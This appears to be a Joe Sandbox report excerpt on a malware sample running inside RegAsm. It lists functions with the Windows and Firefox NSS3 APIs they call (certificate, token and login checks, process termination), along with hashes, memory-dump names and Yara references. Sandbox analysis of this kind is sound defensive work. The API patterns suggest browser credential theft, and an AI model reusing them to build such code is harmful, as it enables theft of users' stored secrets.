Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 10ab3f1a996731defa90f1b91779e18f62f0a1154b68b6e2e96d129ff6f89520
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: BB4173B6A002118BCB18CF19DCD1B96B7F1BF4831871D466DD84ACBB02E379E891CB81

Function 6C48A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C48A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C48A662), ref: 6C48A69E
Part of subcall function 6C48A690: PR_NewCondVar.NSS3(?), ref: 6C48A6B4

PR_IntervalNow.NSS3 ref: 6C48A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C48A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C48A944
PR_SetPollableEvent.NSS3(?), ref: 6C48A94F

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: e6a03a7ae2e01189b5583af091cc2981c80e0ec6494cdbf0050c740138802f18
Instruction ID: 843d12dc4653b8921e761c5fa8929945397f0db7186c2d177eb9dfb6e303d539
Opcode Fuzzy Hash: e6a03a7ae2e01189b5583af091cc2981c80e0ec6494cdbf0050c740138802f18
Instruction Fuzzy Hash: D04137B4A06A12DFC704CF29C580D5AFBF1FF88318725892AD959CBB51E771E850CB90

Function 6C376C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C376C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C376CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C376CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C498FE0), ref: 6C376CFE

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 5246c901fb2ab004b04a6960826978cd7eb5dcc7f6ef333b3e48b6102107d98b
Instruction ID: 36494bd1f193583aa9057291900dc5bf5dba524980e00f6f803d8115d282acbc
Opcode Fuzzy Hash: 5246c901fb2ab004b04a6960826978cd7eb5dcc7f6ef333b3e48b6102107d98b
Instruction Fuzzy Hash: 8731A0B1A002169FDB18DF65C891ABFBBF5EF89248B10442DD905D7700EB359905CFB0

Function 6C484F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C484F5D
free.MOZGLUE(?), ref: 6C484F74
free.MOZGLUE(?), ref: 6C484F82
GetLastError.KERNEL32 ref: 6C484F90

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 119d689645cca64a945c0363af10ce4b7b02c9c99c531374bb572ada471bf1ad
Instruction ID: a6c63e69e3d1fbd67c94e55d194823f12af53505c4c477450de8f1acdc121df7
Opcode Fuzzy Hash: 119d689645cca64a945c0363af10ce4b7b02c9c99c531374bb572ada471bf1ad
Instruction Fuzzy Hash: F13157B5A012194BEB00DA69DC91FDAB3BCFF45399F04022DED15A7780EB34E9058691

Function 004194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004194EB

Part of subcall function 00418D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
Part of subcall function 00418D50: HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
Part of subcall function 00418D50: wsprintfW.USER32 ref: 00418D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 004195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 004195C9
CloseHandle.KERNEL32(00000000), ref: 004195D6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: e1e5d2abd36f792ce8e7696cd4d1ddef66465fbe477d7900cfae79242c714ba2
Instruction ID: faa3cbc47edc6d62fcde4c42a86d6f60d7c6cb9d9231cedff5acf80003c00c5b
Opcode Fuzzy Hash: e1e5d2abd36f792ce8e7696cd4d1ddef66465fbe477d7900cfae79242c714ba2
Instruction Fuzzy Hash: E3315C75E4020CAFDB14DFD0CD49BEDB7B9EB44300F10441AE506AA284DB78AE89CB56

Function 6C3E2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C3E2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C3E2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C3E294C
free.MOZGLUE(?), ref: 6C3E2955

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 98500cf4b562399622fd999d60bb103fccb79615f4330e6791582bb7e2e37dbb
Instruction ID: 55377704a7b07b5fe72789a3f914883dde4e664dd52a69f710f32c8262ebe3bb
Opcode Fuzzy Hash: 98500cf4b562399622fd999d60bb103fccb79615f4330e6791582bb7e2e37dbb
Instruction Fuzzy Hash: A321F7B66006119BE7109B26DD49F4777E9AF88358F04053AE489C7B61FB73E8188F52

Function 6C3B4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C3BB60F,00000000), ref: 6C3B5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C3BB60F,00000000), ref: 6C3B501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C3BB60F,00000000), ref: 6C3B504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C3BB60F,00000000), ref: 6C3B5064

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: bf356d0f81d6874b9b0d0487910cfcc7e4c616211b38b80318e38bba2d4b94fc
Instruction ID: fe8e6ae9b4a943d44d0bf0de4e72ceb8ec9b8f20074045dee1f3032fec131b89
Opcode Fuzzy Hash: bf356d0f81d6874b9b0d0487910cfcc7e4c616211b38b80318e38bba2d4b94fc
Instruction Fuzzy Hash: 083127B4A05606CFDB00EF68C484AAABBF4FF09304B108529E859E7B11E731E990CFD1

Function 6C3E2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C3E2E08

Part of subcall function 6C3D14C0: TlsGetValue.KERNEL32 ref: 6C3D14E0
Part of subcall function 6C3D14C0: EnterCriticalSection.KERNEL32 ref: 6C3D14F5
Part of subcall function 6C3D14C0: PR_Unlock.NSS3 ref: 6C3D150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C3E2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C3E2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C3E2E95

Part of subcall function 6C3D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C3788A4,00000000,00000000), ref: 6C3D1228
Part of subcall function 6C3D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C3D1238
Part of subcall function 6C3D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C3788A4,00000000,00000000), ref: 6C3D124B
Part of subcall function 6C3D1200: PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0,00000000,00000000,00000000,?,6C3788A4,00000000,00000000), ref: 6C3D125D
Part of subcall function 6C3D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C3D126F
Part of subcall function 6C3D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C3D1280
Part of subcall function 6C3D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C3D128E
Part of subcall function 6C3D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C3D129A
Part of subcall function 6C3D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C3D12A1

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 9de8c6dd5aae1a02f7a0d32563b86fdd8051529a1fa00b28701cdfea4c7eab94
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 31212C72D1036647E700CF549E447AA3764AFD530CF160266ED085B741F7B3E5948BA2

Function 6C3769B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6C376AB7,0000000C,00000001,00000000,?,?,6C376AB7,?,00000000,?), ref: 6C3769CE

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

SEC_ASN1EncodeItem_Util.NSS3(6C376AB7,0000001C,00000004,?,00000001,00000000), ref: 6C376A06
SEC_ASN1EncodeItem_Util.NSS3(6C376AB7,?,00000000,?,00000001,00000000,?,?,6C376AB7,?,00000000,?), ref: 6C376A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6C376AB7,?,00000000,?), ref: 6C376A42

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: d6f580c95d2dc8d90ce74daafebbe769be70c410bf4fefd982d34015d4ea208e
Instruction ID: 858c7b555ea00d64a26f9931ba1e7fcccec67b954a3cf4d3e38af8b32f81cf0e
Opcode Fuzzy Hash: d6f580c95d2dc8d90ce74daafebbe769be70c410bf4fefd982d34015d4ea208e
Instruction Fuzzy Hash: DA11C4B26402116FEB60CE69CC90F567BBCEB5465CF108529EA19C3E01E336E814CEB5

Function 6C39ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C39ACC2

Part of subcall function 6C372F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C372F0A
Part of subcall function 6C372F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C372F1D

Part of subcall function 6C372AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C370A1B,00000000), ref: 6C372AF0
Part of subcall function 6C372AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C372B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C39AD5E

Part of subcall function 6C3B57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C37B41E,00000000,00000000,?,00000000,?,6C37B41E,00000000,00000000,00000001,?), ref: 6C3B57E0
Part of subcall function 6C3B57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C3B5843

CERT_DestroyCertList.NSS3(?), ref: 6C39AD36

Part of subcall function 6C372F50: CERT_DestroyCertificate.NSS3(?), ref: 6C372F65
Part of subcall function 6C372F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C372F83

free.MOZGLUE(?), ref: 6C39AD4F

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 3f7baa79d22d9cbdca9cbd3dafc8b0511560161aafdc38b744d3ec005bbb1d97
Instruction ID: 35aa618e6e1c02ecec5b4b3a670a87d8719842a8c0bf9516ece6a6eee505cb84
Opcode Fuzzy Hash: 3f7baa79d22d9cbdca9cbd3dafc8b0511560161aafdc38b744d3ec005bbb1d97
Instruction Fuzzy Hash: A621D5B1D002188BEB10EF65D9055EEB7B4EF05218F054168D8457B710FB32AA49CFE6

Function 6C39C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C39C890

Part of subcall function 6C398F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C398FAF
Part of subcall function 6C398F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C398FD1
Part of subcall function 6C398F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C398FFA
Part of subcall function 6C398F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C399013
Part of subcall function 6C398F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C399042
Part of subcall function 6C398F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C39905A
Part of subcall function 6C398F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C399073
Part of subcall function 6C398F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C399111

PR_GetCurrentThread.NSS3 ref: 6C39C8B2

Part of subcall function 6C439BF0: TlsGetValue.KERNEL32(?,?,?,6C480A75), ref: 6C439C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C39C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C39C8EB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: c2bf448465417fdf2eca3088839727720e5aa853887fd3b91392e4fb96195e07
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 9B01A566E152116BD70029B97C80ABF3A699B8525CF040135FD08E7B01F76289199AE3

Function 6C3CECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C3CF0AD,6C3CF150,?,6C3CF150,?,?,?), ref: 6C3CECBA

Part of subcall function 6C3D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3787ED,00000800,6C36EF74,00000000), ref: 6C3D1000
Part of subcall function 6C3D0FF0: PR_NewLock.NSS3(?,00000800,6C36EF74,00000000), ref: 6C3D1016
Part of subcall function 6C3D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C3787ED,00000008,?,00000800,6C36EF74,00000000), ref: 6C3D102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C3CECD1

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C3CED02

Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C3CED5A

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 997fb38596fdb55c30f92d97249047de116676ab4b6936464b05b4fb785f2520
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 3D2104B1A007425FE300DF21D908B56B7E4BFA4308F25C215E81C87661E771E994CAD2

Function 6C3C4900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C3AC79F,?,?,6C3C5C4A,?), ref: 6C3C4950

Part of subcall function 6C3C8800: TlsGetValue.KERNEL32(?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8821
Part of subcall function 6C3C8800: TlsGetValue.KERNEL32(?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C883D
Part of subcall function 6C3C8800: EnterCriticalSection.KERNEL32(?,?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8856
Part of subcall function 6C3C8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C3C8887
Part of subcall function 6C3C8800: PR_Unlock.NSS3(?,?,?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8899

TlsGetValue.KERNEL32(?,?,?), ref: 6C3C496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3C497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3C4989

Memory Dump Source

